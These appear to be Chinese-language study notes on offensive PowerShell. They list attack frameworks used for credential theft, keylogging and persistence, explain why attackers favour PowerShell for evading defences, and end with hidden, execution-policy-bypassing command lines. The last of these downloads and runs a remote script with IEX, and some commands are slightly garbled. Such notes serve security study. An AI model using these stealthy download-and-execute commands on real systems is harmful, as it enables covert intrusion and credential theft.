0xx1 PowerShell技术
- 常用的PowerShell攻击工具
- PowerSploit
PowerShell后期漏洞利用框架,常用于信息探测,特权提升,凭证窃取,持久化等操作
-
- Nishang
基于PowerShell的渗透测试专用工具,集成了框架,脚本和各种payload,包含下载和执行,键盘记录,DNS,延时命令等脚本
-
- Empire
基于PowerShell的远程控制木马,可以凭证数据库中导出和跟踪凭证信息,常用与提供前期漏洞利用的集成模块,信息探测,凭据窃取,持久化控制
-
- PowerCat
PowerShell版的NetCat,传说中的”瑞士军刀”,能通过TCP和UDP在网络中读取数据,通过与其他工具的结合和重定向,可以在脚本中以多种方式使用
- PowerShell简介
Windows PowerShell是一种命令行外壳程序和脚本环境,内置在Windows系统中,使命令行用户和脚本编写者可以利用.NET的强大功能,PowerShell可以在内存中运行,也可以吧PowerShell看做命令行提示符cmd.exe的扩充
PowerShell优点:
- Windows7以上操作系统默认安装
- PowerShell脚本可以运行在内存中,不需要写入磁盘
- 可以从另一个系统下载PowerShell脚本并执行
- 很多安全软件并不能检测到PowerShell的活动
- cmd.exe通常会被阻止,但PowerShell不会
- 可以用来管理活动目录
- PowerShell基本概念
- PS1文件
PowerShell脚本的文本文档
- 执行策略
Get-ExecutionPolicy #查看当前策略
Set-ExecutionPolicy <policy name> #设置策略
- Restricted #脚本不能运行(默认)
- Unrestricted #允许所有脚本运行
- AllSigned #仅当脚本受信任的发布者签名时才能运行
- RemoteSigned #本地创建的脚本可运行,网上下载的不能运行(除拥有数字签名证书的)
- 运行脚本
运行PowerShell脚本必须输入完整路径,如果脚本文件位于系统目录,脚本前加”.\”
- 管道
将一个作用的输出作为另一个命令的输入
- 常用命令
- 基本知识
PowerShell下,类似cmd命令叫做cmdlet,命名采用”动词-名词”的形式,命名的别名一般兼容Windows 和Linux 如Get-Childltem命令可以使用dir或ls,PowerShell命令不区分大小写
- 常用命令
- Noexit #执行后不退出shell(使用键盘记录等脚本时非常重要)
- NonProfile(-NoP) #不加载当前用户的配置文件
- NonInteractive(-NonI) #非交互模式,不为用户提供交互的提示
- NoLogo #启动不显示版权标志的PowerShell
- WindowStyle Hidden #隐藏窗口
- ExecutionPolicy Bypass #绕过安全策略,通过设置这个参数,可以绕过任意一个安全保护规则
在目标服务器本地执行脚本
PowerShell.exe –ExecutionPolicy Bypass –File xxx.ps1
本地隐藏绕过权限执行脚本
PowerShell.exe –ExecutionPolicy Bypass -WindowStyle Hidden –NoLoGo –NonInteractive –Noprofile –File xxx.ps1
用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass –WindowsStyle Hidden –NoProfile –NonIIEX(New-ObjectNet.WebClient).DownloadString(“xxx.ps1”)[Parameters]